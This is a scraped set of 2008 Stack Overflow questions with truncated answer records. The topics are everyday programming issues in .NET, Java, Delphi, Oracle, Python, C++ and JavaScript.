[ { "answer_id": 27824040, "author": "Ivan Baidakou", "author_id": 2625346, "author_profile": "https://Stackoverflow.com/users/2625346", "pm_score": 2, "selected": false, "text": "xml\n <cscan>\n <typedef_hash>\n <typedef id=\"GLenum\" before=\"unsigned int\" after=\"\" file=\"/usr/inc...
2008/10/27
[ "https://Stackoverflow.com/questions/239722", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2745562/" ]
239,725
<p>When I try to add a HTTP header key/value pair on a <code>WebRequest</code> object, I get the following exception:</p> <blockquote> <p>This header must be modified using the appropriate property</p> </blockquote> <p>I've tried adding new values to the <code>Headers</code> collection by using the Add() method but...
[ { "answer_id": 239847, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 1, "selected": false, "text": "HttpWebRequest .Referer HttpWebRequest req = ...\nreq.Referer = \"your url\";\n" }, { "answer_id": 331317, ...
2008/10/27
[ "https://Stackoverflow.com/questions/239725", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17211/" ]
239,732
<p>I have heard from people who have switched either way and who swear by the one or the other.</p> <p>Being a huge Eclipse fan but having not had the time to try out IntelliJ, I am interested in hearing from IntelliJ users who are "ex-Eclipsians" some specific things that you can do with IntelliJ that you can not do ...
[ { "answer_id": 241209, "author": "Pavel Feldman", "author_id": 5507, "author_profile": "https://Stackoverflow.com/users/5507", "pm_score": 9, "selected": true, "text": "<property name=\"propName\" ref=\"<hit CTRL-SPACE>\"\n interface Person {\n String getName();\n String getAddress...
2008/10/27
[ "https://Stackoverflow.com/questions/239732", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6583/" ]
239,744
<p>I'm developing a SWT/JFace application using the libraries from Eclipse 3.4.1. I encounter the following problem on Windows (Vista 32bit) and Ubuntu 8.10 32bit:</p> <p>I create a menu bar in the createMenuManager method of the JFace ApplicationWindow. I add MenuManagers for file, edit and help.</p> <p>I then add a...
[ { "answer_id": 247334, "author": "the.duckman", "author_id": 21368, "author_profile": "https://Stackoverflow.com/users/21368", "pm_score": 0, "selected": false, "text": "setAccelerator(.) MenuItem KeyUp Display.addFilter(SWT.KeyUp, myListener) Listener" }, { "answer_id": 265135, ...
2008/10/27
[ "https://Stackoverflow.com/questions/239744", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7143/" ]
239,746
<p>What is the correct way to check if a value is a date/number in Delphi?</p> <p>I know other languages have functions like isDate and isNaN, but what is the Delphi equivalent? at the minute I have this</p> <pre><code>function isNumeric(s1:string):boolean; begin // will throw exception if its not a number /...
[ { "answer_id": 239751, "author": "Alan", "author_id": 31223, "author_profile": "https://Stackoverflow.com/users/31223", "pm_score": 5, "selected": true, "text": "function TryStrToInt(const s: string; out i : integer): boolean;\n" }, { "answer_id": 239757, "author": "Rômulo Ce...
2008/10/27
[ "https://Stackoverflow.com/questions/239746", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2098/" ]
239,786
<p>I have put together the following mootools script</p> <pre><code> window.addEvent('domready', function() { var shouts = "timed.php"; var log = $('log_res'); function updateData (url,target) { new Ajax(url,{ method: 'get', update: $(target), onComplete: function() { ...
[ { "answer_id": 239869, "author": "Tomalak", "author_id": 18771, "author_profile": "https://Stackoverflow.com/users/18771", "pm_score": 3, "selected": true, "text": "function updateData (url, target)\n{\n var target = $(target);\n target.empty().addClass('ajax-loading');\n target.inner...
2008/10/27
[ "https://Stackoverflow.com/questions/239786", "https://Stackoverflow.com", "https://Stackoverflow.com/users/28241/" ]
239,788
<p>Creating an XPathDocument with referenced DTD sometimes throws a web exception. Why?</p>
[ { "answer_id": 28261052, "author": "Aussie Ash", "author_id": 2614736, "author_profile": "https://Stackoverflow.com/users/2614736", "pm_score": 1, "selected": false, "text": "XmlReaderSettings settings = new XmlReaderSettings();\n settings.XmlResolver = null;\n settings.ProhibitDtd = fal...
2008/10/27
[ "https://Stackoverflow.com/questions/239788", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23164/" ]
239,802
<p>I'm writing an app where 3rd party vendors can write plugin DLLs and drop them into the web app's bin directory. I want the ability for these plugins to be able to register their own HttpModules if necessary. </p> <p>Is there anyway that I can add or remove HttpModules from and to the pipeline at runtime without ha...
[ { "answer_id": 240110, "author": "Aaron Fischer", "author_id": 5618, "author_profile": "https://Stackoverflow.com/users/5618", "pm_score": 7, "selected": true, "text": " public class Global : System.Web.HttpApplication\n {\n // some modules use explicit interface implementation\n ...
2008/10/27
[ "https://Stackoverflow.com/questions/239802", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2285/" ]
239,823
<p>According <a href="http://msdn.microsoft.com/en-us/library/y3bwdsh3.aspx" rel="noreferrer">this MSDN article</a> <em>HttpApplication</em>.EndRequest can be used to close or dispose of resources. However this event is not fired/called in my application.</p> <p>We are attaching the handler in Page_Load the following ...
[ { "answer_id": 240199, "author": "Eduardo Campañó", "author_id": 12091, "author_profile": "https://Stackoverflow.com/users/12091", "pm_score": 5, "selected": true, "text": "public class CustomModule : IHttpModule \n{\n public void Init(HttpApplication context)\n {\n context....
2008/10/27
[ "https://Stackoverflow.com/questions/239823", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18859/" ]
239,865
<p>All numbers that divide evenly into x.</p> <p>I put in 4 it returns: 4, 2, 1</p> <p>edit: I know it sounds homeworky. I'm writing a little app to populate some product tables with semi random test data. Two of the properties are ItemMaximum and Item Multiplier. I need to make sure that the multiplier does not c...
[ { "answer_id": 239877, "author": "Chris Marasti-Georg", "author_id": 96, "author_profile": "https://Stackoverflow.com/users/96", "pm_score": 6, "selected": true, "text": "public List<int> Factor(int number) \n{\n var factors = new List<int>();\n int max = (int)Math.Sqrt(number); /...
2008/10/27
[ "https://Stackoverflow.com/questions/239865", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12862/" ]
239,866
<p>I'm writing a license agreement dialog box with Win32 and I'm stumped. As usual with these things I want the "accept/don't accept" buttons to become enabled when the slider of the scroll bar of the richedit control hits bottom, but I can't find a way to get notified of that event. The earliest I've been able to le...
[ { "answer_id": 239928, "author": "Skizz", "author_id": 1898, "author_profile": "https://Stackoverflow.com/users/1898", "pm_score": 1, "selected": false, "text": "#include <windows.h>\n#include <richedit.h>\n\nLRESULT __stdcall RichEditSubclass\n(\n HWND window,\n UINT message,\n WPARA...
2008/10/27
[ "https://Stackoverflow.com/questions/239866", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31790/" ]
239,872
<p>VS2008 Code Analysis will flag a spelling mistake in an identifier using the <code>IdentifiersShouldBeSpelledCorrectly</code> warning type.</p> <p>This process is using an American dictionary by default because words are being flagged that are correctly spelt using the British spelling. For example, words like "Org...
[ { "answer_id": 240440, "author": "Andy McCluggage", "author_id": 3362, "author_profile": "https://Stackoverflow.com/users/3362", "pm_score": 4, "selected": true, "text": " CodeAnalysisCulture <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n ...\n <...
2008/10/27
[ "https://Stackoverflow.com/questions/239872", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3362/" ]
239,876
<p>What is the best way of storing data out to a file on a network, which will be later read in again programmatically. Target platform for the program is Linux (Fedora), but it will need to write out a file to a Windows (XP) machine</p> <p>This needs to be in C++, there will be a high number of write / read events so...
[ { "answer_id": 240406, "author": "João Augusto", "author_id": 6909, "author_profile": "https://Stackoverflow.com/users/6909", "pm_score": 2, "selected": false, "text": "struct structBlockInfo\n {\n int iTimeStamp; // TimeStamp \n char cBlockType; // Type of Data (PA...
2008/10/27
[ "https://Stackoverflow.com/questions/239876", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15533/" ]
239,888
<p>What is the equivalent to the C# "!" operator in F#?</p>
[ { "answer_id": 239903, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 7, "selected": true, "text": "not" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239888", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30056/" ]
239,905
<p>Lets say on MySQL database (if it matters).</p>
[ { "answer_id": 239960, "author": "John Rudy", "author_id": 14048, "author_profile": "https://Stackoverflow.com/users/14048", "pm_score": 5, "selected": true, "text": "SqlCommand cmd = new SqlCommand(\"exec @myProc \" + paramValue, con);\ncmd.ExecuteNonQuery();\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239905", "https://Stackoverflow.com", "https://Stackoverflow.com/users/28098/" ]
239,909
<p>I have a property called "IsSecureConnection" that is part of my object's interface. This makes sense for most implementations of the interface, however, in some implementations I would like to make the property ReadOnly. </p> <p>Should I omit this property from the object's interface even though it is required b...
[ { "answer_id": 239911, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "public interface Foo{\n bool MyMinimallyReadOnlyPropertyThatCanAlsoBeReadWrite {get;}\n}\n" }, { "answer_id": 239918,...
2008/10/27
[ "https://Stackoverflow.com/questions/239909", "https://Stackoverflow.com", "https://Stackoverflow.com/users/132931/" ]
239,910
<p>We have a situation where a C# application is working with SQL CE 3.5 . To allow for a legacy program to use some of its features we have produced a C++ dll which uses interop to extract the info that it needs from the C# program. For this to work, the C#-program needs to access the database. Its not a very complex ...
[ { "answer_id": 269182, "author": "Sunlight", "author_id": 33650, "author_profile": "https://Stackoverflow.com/users/33650", "pm_score": 0, "selected": false, "text": ".exe.config" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239910", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15763/" ]
239,912
<p>Is there a Python class that wraps the <code>file</code> interface (read, write etc.) around a string? I mean something like the <code>stringstream</code> classes in C++.</p> <p>I was thinking of using it to redirect the output of <code>print</code> into a string, like this</p> <pre><code>sys.stdout = string_wrapp...
[ { "answer_id": 239929, "author": "Peter Hoffmann", "author_id": 720, "author_profile": "https://Stackoverflow.com/users/720", "pm_score": 5, "selected": true, "text": "import StringIO\nimport sys\n\n\nsys.stdout = StringIO.StringIO()\nprint \"foo\", \"bar\", \"baz\"\ns = sys.stdout.getva...
2008/10/27
[ "https://Stackoverflow.com/questions/239912", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30579/" ]
239,934
<p>I am using Oracle 10g R2. Recently, after rebooting the server, I started having a problem where I couldn't connect to the instance. I am only connecting locally on the server itself. </p> <p>Oddly enough, the issue corrects itself if I start the Database Administration Assistant, and select my instance to suppose...
[ { "answer_id": 240005, "author": "Colin Pickard", "author_id": 12744, "author_profile": "https://Stackoverflow.com/users/12744", "pm_score": 2, "selected": false, "text": "C:\\Documents and Settings\\user>lsnrctl status\n\nLSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on 27...
2008/10/27
[ "https://Stackoverflow.com/questions/239934", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3751/" ]
239,938
<p>i'm trying to change the number of rows in a <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.tablelayoutpanel.aspx" rel="nofollow noreferrer">TableLayoutPanel</a> programatically (sometimes it needs to be four, sometimes five, and rarely six).</p> <p>Unfortunatly changing the number of rows do...
[ { "answer_id": 240004, "author": "Mark Heath", "author_id": 7532, "author_profile": "https://Stackoverflow.com/users/7532", "pm_score": 0, "selected": false, "text": "RowStyle tableLayoutPanel1.RowStyles.Add" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239938", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12597/" ]
239,945
<p>I'm creating a really complex dynamic sql, it's got to return one row per user, but now I have to join against a one to many table. I do an outer join to make sure I get at least one row back (and can check for null to see if there's data in that table) but I have to make sure I only get one row back from this outer...
[ { "answer_id": 240040, "author": "Tony Andrews", "author_id": 18747, "author_profile": "https://Stackoverflow.com/users/18747", "pm_score": 0, "selected": false, "text": "select a.user_id \nfrom table1 a\nwhere exists (select null from table2 b \n where a.user_id = b.user_id...
2008/10/27
[ "https://Stackoverflow.com/questions/239945", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12386/" ]
239,951
<p>For example for the following XML</p> <pre><code> &lt;Order&gt; &lt;Phone&gt;1254&lt;/Phone&gt; &lt;City&gt;City1&lt;/City&gt; &lt;State&gt;State&lt;/State&gt; &lt;/Order&gt; </code></pre> <p>I might want to find out whether the XElement contains "City" Node or not. </p>
[ { "answer_id": 239963, "author": "Amy B", "author_id": 8155, "author_profile": "https://Stackoverflow.com/users/8155", "pm_score": 7, "selected": true, "text": "bool hasCity = OrderXml.Elements(\"City\").Any();\n" }, { "answer_id": 239969, "author": "James Curran", "autho...
2008/10/27
[ "https://Stackoverflow.com/questions/239951", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1688440/" ]
239,961
<p>If you have a class member that is <code>static</code> and <code>public</code>. Would you write <code>static public</code> or <code>public static</code>? I know they are the same. But is there some recommendation / best practice for writing this?</p>
[ { "answer_id": 239976, "author": "Stewart Johnson", "author_id": 6408, "author_profile": "https://Stackoverflow.com/users/6408", "pm_score": 4, "selected": false, "text": "public static" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239961", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1793417/" ]
239,981
<p>I'm struggling to get around the 404 errors from asp.net mvc beta when deploying on IIS 6. I had this working in one of the previews by mapping .mvc in IIS but this no longer works. I've read <a href="http://msmvps.com/blogs/omar/archive/2008/06/30/deploy-asp-net-mvc-on-iis-6-solve-404-compression-and-performance-pr...
[ { "answer_id": 240327, "author": "Guy", "author_id": 1463, "author_profile": "https://Stackoverflow.com/users/1463", "pm_score": 6, "selected": true, "text": "aspnet_isapi.dll" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239981", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1463/" ]
239,988
<p>I need to setup an application that watches for files being created in a directory, both locally or on a network drive.</p> <p>Would the <code>FileSystemWatcher</code> or polling on a timer would be the best option. I have used both methods in the past, but not extensively. </p> <p>What issues (performance, reliab...
[ { "answer_id": 240048, "author": "Brent Rockwood", "author_id": 31253, "author_profile": "https://Stackoverflow.com/users/31253", "pm_score": 5, "selected": false, "text": "FileSystemWatcher" }, { "answer_id": 240053, "author": "Jon Norton", "author_id": 4797, "author...
2008/10/27
[ "https://Stackoverflow.com/questions/239988", "https://Stackoverflow.com", "https://Stackoverflow.com/users/343/" ]
240,012
<p>This is a follow-up to a previous question I had about interfaces. I received an answer that I like, but I'm not sure how to implement it in VB.NET.</p> <p>Previous question:</p> <p><a href="https://stackoverflow.com/questions/239909/should-this-property-be-part-of-my-objects-interface">Should this property be pa...
[ { "answer_id": 240050, "author": "Martin Moser", "author_id": 24756, "author_profile": "https://Stackoverflow.com/users/24756", "pm_score": 1, "selected": false, "text": "Public Interface ICanBeSecure\n\n ReadOnly Property IsSecureConnection() As Boolean\nEnd Interface\n\nPublic Inter...
2008/10/27
[ "https://Stackoverflow.com/questions/240012", "https://Stackoverflow.com", "https://Stackoverflow.com/users/132931/" ]
240,013
<p>I have two databases, one is an MS Access file, the other is a SQL Server database. I need to create a SELECT command that filters data from the SQL Server database based on the data in the Access database. What is the best way to accomplish this with ADO.NET?</p> <p>Can I pull the required data from each database ...
[ { "answer_id": 629539, "author": "Mark Brackett", "author_id": 2199, "author_profile": "https://Stackoverflow.com/users/2199", "pm_score": 1, "selected": false, "text": " SELECT a.* \n FROM SqlTable \n JOIN OPENROWSET(\n 'Microsoft.Jet.OLEDB.4.0', \n 'C:\\Program Files\\Microsoft...
2008/10/27
[ "https://Stackoverflow.com/questions/240013", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18966/" ]
240,016
<p>I have created a class for a dashboard item which will hold information such as placement on the dashboard, description, etc. I am currently using a pair of Collections to hold those dashboard items contained in the "library" and those items showing on the dashboard itself. I have been asked to make this dashboard...
[ { "answer_id": 240042, "author": "James Curran", "author_id": 12725, "author_profile": "https://Stackoverflow.com/users/12725", "pm_score": 4, "selected": true, "text": "List< List<Placement>> ListofListOfPlacements = new List< List<Placement>> ();\n\nList<Placement> dashboard1 = new Lis...
2008/10/27
[ "https://Stackoverflow.com/questions/240016", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30838/" ]
240,022
<p>I have to generate two random sets of matrices Each containing 3 digit numbers ranging from 2 - 10 </p> <p>like that</p> <p>matrix 1: 994,878,129,121</p> <p>matrix 2: 272,794,378,212</p> <p>the numbers in both matrices have to be greater then 100 and less then 999</p> <p>BUT</p> <p>the mean for bo...
[ { "answer_id": 240089, "author": "S.Lott", "author_id": 10661, "author_profile": "https://Stackoverflow.com/users/10661", "pm_score": 1, "selected": false, "text": "s1= [ random.randint(100,999) for i in range(n) ]\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240022", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16458/" ]
240,033
<p>I'll preface this by saying that I usually work in C#/.Net.</p> <p>Normally, I use a naming scheme that puts common, reusable components into a namespace that reflects our organization and project-specific components into a namespace tied to the project. One of the reasons I do this is that I sometimes share my co...
[ { "answer_id": 240068, "author": "Treb", "author_id": 22114, "author_profile": "https://Stackoverflow.com/users/22114", "pm_score": 4, "selected": true, "text": "Toolbox" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240033", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12950/" ]
240,046
<p>I'd like to use Oracle's utl_match.edit_distance function. It supposed to compare two strings and return the <a href="http://en.wikipedia.org/wiki/Levenshtein_Distance" rel="nofollow noreferrer">Levenshtein distance</a>.</p> <pre><code>select utl_match.edit_distance('a','b') from dual </code></pre> <p>returns 1 as...
[ { "answer_id": 240356, "author": "Justin Cave", "author_id": 10397, "author_profile": "https://Stackoverflow.com/users/10397", "pm_score": 3, "selected": true, "text": "SQL> ed\nWrote file afiedt.buf\n\n 1 declare\n 2 l_char1 varchar2(1 char) := 'á';\n 3 l_char2 varchar2(1 char...
2008/10/27
[ "https://Stackoverflow.com/questions/240046", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21348/" ]
240,047
<p>In SQL Server, why is this:</p> <pre><code>[dbo].[table_name] </code></pre> <p>preferable to this:</p> <pre><code>dbo.table_name </code></pre> <p>And along those lines, why even list the dbo at all if there's only one schema?</p>
[ { "answer_id": 240060, "author": "Rune Grimstad", "author_id": 30366, "author_profile": "https://Stackoverflow.com/users/30366", "pm_score": 2, "selected": false, "text": "SELECT * FROM [Select] SELECT * FROM Select" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240047", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2147/" ]
240,058
<p>I need a timer tick with 1ms resolution under linux. It is used to increment a timer value that in turn is used to see if various Events should be triggered. The POSIX timerfd_create is not an option because of the glibc requirement. I tried timer_create and timer_settimer, but the best I get from them is a 10ms res...
[ { "answer_id": 4723477, "author": "richard j. lee", "author_id": 579834, "author_profile": "https://Stackoverflow.com/users/579834", "pm_score": 1, "selected": false, "text": "HZ=1000 HZ=1000" }, { "answer_id": 4724088, "author": "Maxim Egorushkin", "author_id": 412080, ...
2008/10/27
[ "https://Stackoverflow.com/questions/240058", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6510/" ]
240,061
<p>I have a very large C project with many separate C files and headers and many dozens of contributors. Many contributors do not have a strong knowledge of makefiles and dependencies, resulting in the not uncommon problem where you almost always have to "make clean" before you can trust "make" to have produced correc...
[ { "answer_id": 240085, "author": "Eli Courtwright", "author_id": 1694, "author_profile": "https://Stackoverflow.com/users/1694", "pm_score": 4, "selected": true, "text": "gcc -M" }, { "answer_id": 240624, "author": "JesperE", "author_id": 13051, "author_profile": "htt...
2008/10/27
[ "https://Stackoverflow.com/questions/240061", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2915/" ]
240,090
<p>We have a ASP.Net 2.0 web application up and running with the server in the Midwest (Eastern Standard Time). At this moment all of our customers are in the same time zone as the server. We are bringing another server online in Arizona (Mountain Standard Time).</p> <p>We are storing all our times in a SQL 2005 datab...
[ { "answer_id": 240207, "author": "ScottCher", "author_id": 24179, "author_profile": "https://Stackoverflow.com/users/24179", "pm_score": 0, "selected": false, "text": "foreach (DataColumn dc in dt.Columns)\n{\n if (dc.DataType == typeof(DateTime))\n {\n dc.DateTimeMode = dateMode;\n...
2008/10/27
[ "https://Stackoverflow.com/questions/240090", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4096/" ]
240,098
<p>I'm using an HTML sanitizing whitelist code found here:<br> <a href="http://refactormycode.com/codes/333-sanitize-html" rel="nofollow noreferrer">http://refactormycode.com/codes/333-sanitize-html</a></p> <p>I needed to add the "font" tag as an additional tag to match, so I tried adding this condition after the <cod...
[ { "answer_id": 240136, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 1, "selected": false, "text": "IsMatch Regex.IsMatch" }, { "answer_id": 240211, "author": "Christian C. Salvadó", "author_id": 5445,...
2008/10/27
[ "https://Stackoverflow.com/questions/240098", "https://Stackoverflow.com", "https://Stackoverflow.com/users/392/" ]
240,102
<p>I'm developing an <code>ActiveX EXE</code> that exposes an specific class to a third-party software. This third-party software instanciates an object of this class and uses its methods. </p> <p>Strangely, this third-party software destroys its object of my exposed class as soon as it calls an specific method, but...
[ { "answer_id": 240369, "author": "dummy", "author_id": 6297, "author_profile": "https://Stackoverflow.com/users/6297", "pm_score": 0, "selected": false, "text": "Global AGlobalVariable As Object\n Public Function GetFoo() As Object\n If AGlobalVariable Is Nothing then\n Set AGlobalVa...
2008/10/27
[ "https://Stackoverflow.com/questions/240102", "https://Stackoverflow.com", "https://Stackoverflow.com/users/431/" ]
240,122
<p>Given the following java enum:</p> <pre><code>public enum AgeRange { A18TO23 { public String toString() { return "18 - 23"; } }, A24TO29 { public String toString() { return "24 - 29"; } }, A30TO35 { public String toStr...
[ { "answer_id": 240148, "author": "John M", "author_id": 20734, "author_profile": "https://Stackoverflow.com/users/20734", "pm_score": 2, "selected": false, "text": "for (AgeRange ar: EnumSet.allOf(AgeRange)) {\n if (ar.toString().equals(inString)) {\n myAnswer = ar;\n ...
2008/10/27
[ "https://Stackoverflow.com/questions/240122", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27163/" ]
240,125
<p>I have a form a user can enter their name, then it will add it to $message to be sent in an email.</p> <p>Is it better to use <code>$_POST</code> or <code>$_REQUEST</code>?</p> <p>Here is a snippet of using <code>$_REQUEST</code></p> <pre><code>$message.= "Name: ".$_REQUEST["fname"]." ".$_REQUEST["mname"]." ".$_R...
[ { "answer_id": 240150, "author": "Michael Madsen", "author_id": 27528, "author_profile": "https://Stackoverflow.com/users/27528", "pm_score": 4, "selected": true, "text": "$_POST $_REQUEST $_POST" }, { "answer_id": 240256, "author": "Graeme Perrow", "author_id": 1821, ...
2008/10/27
[ "https://Stackoverflow.com/questions/240125", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26130/" ]
240,152
<p>I understand that they force you to implement methods and such but what I cant understand is why you would want to use them. Can anybody give me a good example or explanation on why I would want to implement this.</p>
[ { "answer_id": 240160, "author": "Eric Z Beard", "author_id": 1219, "author_profile": "https://Stackoverflow.com/users/1219", "pm_score": 2, "selected": false, "text": "void MoveAVehicle(IVehicle vehicle)\n{\n vehicle.Move();\n}\n" }, { "answer_id": 240172, "author": "Stew...
2008/10/27
[ "https://Stackoverflow.com/questions/240152", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23661/" ]
240,156
<p>In a Silverlight application I'm trying to find out when a property on a usercontrol has changed. I'm interested in one particular DependencyProperty, but unfortunately the control itself doesn't implement INotifyPropertyChanged.</p> <p>Is there any other way of determining if the value has changed?</p>
[ { "answer_id": 1835057, "author": "amazedsaint", "author_id": 45956, "author_profile": "https://Stackoverflow.com/users/45956", "pm_score": 3, "selected": false, "text": " /// Listen for change of the dependency property\n public void RegisterForNotification(string propertyName, Frame...
2008/10/27
[ "https://Stackoverflow.com/questions/240156", "https://Stackoverflow.com", "https://Stackoverflow.com/users/986/" ]
240,163
<p>I am trying to upload files using the FileReference class. Files >2MB all work correctly but files &lt;2MB cause this error:</p> <blockquote> <p>"java.io.IOException: Corrupt form data: premature ending"</p> </blockquote> <p>On the server I am using the com.oreilly.servlet package to handle the request.</p> <p>...
[ { "answer_id": 1835057, "author": "amazedsaint", "author_id": 45956, "author_profile": "https://Stackoverflow.com/users/45956", "pm_score": 3, "selected": false, "text": " /// Listen for change of the dependency property\n public void RegisterForNotification(string propertyName, Frame...
2008/10/27
[ "https://Stackoverflow.com/questions/240163", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22/" ]
240,166
<p>I'm using the javax.mail system, and having problems with "Invalid Address" exceptions. Here's the basics of the code:</p> <pre><code> // Get system properties Properties props = System.getProperties(); // Setup mail server props.put("mail.smtp.host", m_sending_host); // Get session Sessio...
[ { "answer_id": 240208, "author": "Agusti-N", "author_id": 24639, "author_profile": "https://Stackoverflow.com/users/24639", "pm_score": 0, "selected": false, "text": "String to=\"stackoverflow@so.com\";\nString cc=\"one@mail.com,two@mail.com\"; //The separator ',' works good\n\nmessage.s...
2008/10/27
[ "https://Stackoverflow.com/questions/240166", "https://Stackoverflow.com", "https://Stackoverflow.com/users/24193/" ]
240,171
<p>How can I launch an application using C#?</p> <p>Requirements: Must work on <a href="http://en.wikipedia.org/wiki/Windows_XP" rel="noreferrer">Windows&nbsp;XP</a> and <a href="http://en.wikipedia.org/wiki/Windows_Vista" rel="noreferrer">Windows&nbsp;Vista</a>.</p> <p>I have seen a sample from DinnerNow.net sampler...
[ { "answer_id": 240189, "author": "Mark S. Rasmussen", "author_id": 12469, "author_profile": "https://Stackoverflow.com/users/12469", "pm_score": 6, "selected": false, "text": "System.Diagnostics.Process.Start(\"PathToExe.exe\");\n" }, { "answer_id": 240191, "author": "Igal Ta...
2008/10/27
[ "https://Stackoverflow.com/questions/240171", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5147/" ]
240,178
<p>I created a list of lists:</p> <pre><code>xs = [[1] * 4] * 3 # xs == [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]] </code></pre> <p>Then, I changed one of the innermost values:</p> <pre><code>xs[0][0] = 5 # xs == [[5, 1, 1, 1], [5, 1, 1, 1], [5, 1, 1, 1]] </code></pre> <p>Why did every first element of each subli...
[ { "answer_id": 240202, "author": "Blair Conrad", "author_id": 1199, "author_profile": "https://Stackoverflow.com/users/1199", "pm_score": 6, "selected": false, "text": "[[1] * 4] * 3\n [[1, 1, 1, 1]] * 3\n [1,1,1,1] >>> inner = [1,1,1,1]\n>>> outer = [inner]*3\n>>> outer\n[[1, 1, 1, 1], ...
2008/10/27
[ "https://Stackoverflow.com/questions/240178", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11677/" ]
240,182
<p>Why is Oracle's <code>to_char()</code> function adding spaces?</p> <pre><code>select length('012'), length(to_char('012')), length(to_char('12', '000')) from dual; </code></pre> <p><code>3, 3, 4</code></p>
[ { "answer_id": 240206, "author": "Tony Andrews", "author_id": 18747, "author_profile": "https://Stackoverflow.com/users/18747", "pm_score": 7, "selected": false, "text": "SQL> select to_char(12,'FM000') from dual;\n\nTO_C\n----\n012\n" }, { "answer_id": 240216, "author": "Jam...
2008/10/27
[ "https://Stackoverflow.com/questions/240182", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4235/" ]
240,184
<p>I'm writing a CESetup.dll for a Windows Mobile app. It must be unmanaged, which I have little experience with. So I'm unsure of whether I should free the memory I allocate and how I do it.</p> <p>Here's the function I've written:</p> <pre><code> Uninstall_Init( HWND hwndParent, LPCTSTR pszIns...
[ { "answer_id": 240197, "author": "Treb", "author_id": 22114, "author_profile": "https://Stackoverflow.com/users/22114", "pm_score": 1, "selected": false, "text": " delete[] folderPath;\n new delete" }, { "answer_id": 240234, "author": "Mark Ransom", "author_id": 5987, ...
2008/10/27
[ "https://Stackoverflow.com/questions/240184", "https://Stackoverflow.com", "https://Stackoverflow.com/users/631/" ]
240,212
<p>What is the difference between <code>new</code>/<code>delete</code> and <code>malloc</code>/<code>free</code>?</p> <p>Related (duplicate?): <a href="https://stackoverflow.com/questions/184537/in-what-cases-do-i-use-malloc-vs-new">In what cases do I use malloc vs new?</a></p>
[ { "answer_id": 240218, "author": "Trap", "author_id": 7839, "author_profile": "https://Stackoverflow.com/users/7839", "pm_score": 6, "selected": false, "text": "new delete" }, { "answer_id": 240220, "author": "James Curran", "author_id": 12725, "author_profile": "http...
2008/10/27
[ "https://Stackoverflow.com/questions/240212", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22471/" ]
240,219
<p>I have an ASP .Net (3.5) website. I have the following code that uploads a file as a binary to a SQL Database:</p> <pre><code>Print(" protected void UploadButton_Click(object sender, EventArgs e) { //Get the posted file Stream fileDataStream = FileUpload.Post...
[ { "answer_id": 240448, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": " WebSysDataContext db = new WebSysDataContext(Contexts.WEBSYS_CONN());\n\n var GetFile = from x in db.BinaryStor...
2008/10/27
[ "https://Stackoverflow.com/questions/240219", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
240,224
<p>In my web app, my parameters can contain all sorts of crazy characters (russian chars, slashes, spaces etc) and can therefor not always be represented as-is in a URL.<br> Sending them on their merry way will work in about 50% of the cases. Some things like spaces are already encoded somewhere (I'm guessing in the Ht...
[ { "answer_id": 240245, "author": "Mitchel Sellers", "author_id": 13279, "author_profile": "https://Stackoverflow.com/users/13279", "pm_score": 0, "selected": false, "text": "Server.UrlEncode() Server.UrlDecode()" }, { "answer_id": 240247, "author": "Cade Roux", "author_id...
2008/10/27
[ "https://Stackoverflow.com/questions/240224", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11333/" ]